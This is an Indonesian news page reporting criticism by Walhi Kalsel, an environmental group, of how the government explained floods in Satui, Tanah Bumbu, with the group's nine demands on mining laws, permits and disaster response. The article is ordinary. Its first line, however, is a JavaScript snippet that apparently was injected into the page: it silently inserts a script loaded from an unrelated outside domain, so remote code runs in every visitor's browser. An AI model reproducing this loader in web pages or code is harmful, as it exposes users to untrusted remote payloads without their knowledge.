(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Soroti Banjir Satui, Walhi Kalsel: Kenapa Air dan Hujan Disalahkan, Kalsel Lagi ‘Sakit’!


KANALKALIMANTAN.COM, BANJARBARU – Banjir di Kecamatan Satui, Kabupaten Tanah Bumbu (Tanbu) yang merendam 6 desa disebut berasal dari luapan air Sungai Satui akibat curah hujan yang tinggi.

Menyikapi hal tersebut Direktur Eksekutif Wahana Lingkungan Hidup (Walhi) Kalsel, Kisworo Dwi Cahyo beranggapan pihak pemerintah gagap, lalai dan lambat.

“Kenapa air dan hujan yang disalahkan terus?,” ujar Kisworo.

Ditegaskan Direktur Walhi Kalsel, pemicu banjir di Kecamatan Satui sudah jelas daya tampung dan daya dukung lingkungan sudah rusak parah. “Musim hujan banjir, musim kemarau Kebakaran Hutan dan Lahan (Karhutla) dan itu menjadi permasalahan setiap tahunnya, kapan Kalsel akan membangun?,” ungkapnya.

Banjir di Kecamatan Satui, Kabupaten Tanah Bumbu merendam enam desa. Foto: actkalsel

Pada saat momentum banjir, karhutla dan Ramadhan serta Idul Fitri sudah seharusnya menjadi acuan bagi semua agar semakin peduli terhadap lingkungan dan keselamatan rakyat pinta Direktur Walhi Kalsel.

Untuk itu Walhi Kalsel merekomendasikan dan mendesak beberapa point dalam agenda Walhi kepada pemerintah diantaranya :

1.Cabut UU Nomor 3 Tahun 2020 tentang Minerba dan UU Nomor 11 Tahun 2020 tentang Cipta Kerja. 2.Tanggap bencana (sebelum, pada saat dan paska bencana/pemulihan).

3.Review dan audit seluruh perizinan industri ekstraktif tambang, sawit, HTI, HPH secara transparan.

4.Setop Izin baru, yang ada saja kacau apalagi ditambah.

5.Penegakan hukum terutama kepada perusak lingkungan.

6.Bentuk Satgas atau komisi khusus kejahatan lingkungan dan SDA serta bentuk pengendalian lingkungan.

7.Perbaikan kerusakan lingkungan termasuk DAS, sungai, drainase serta tutup lahan ekonomi rakyat.

8.Review RTRW (Rencana tata ruang wilayah).

9.RPJM, RPJP dan APBD, APBN yang pro terhadap keselamat rakyat dan lingkungan.

Menurut Kisworo, Kalsel lagi sakit, dan masih dalam posisi darurat ruang serta darurat ekologis.

“Sudahlah cukup kita semua harus ingat kembali ke jalan-NYA,” tandasnya. (kanalkalimantan.com/rdy)

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.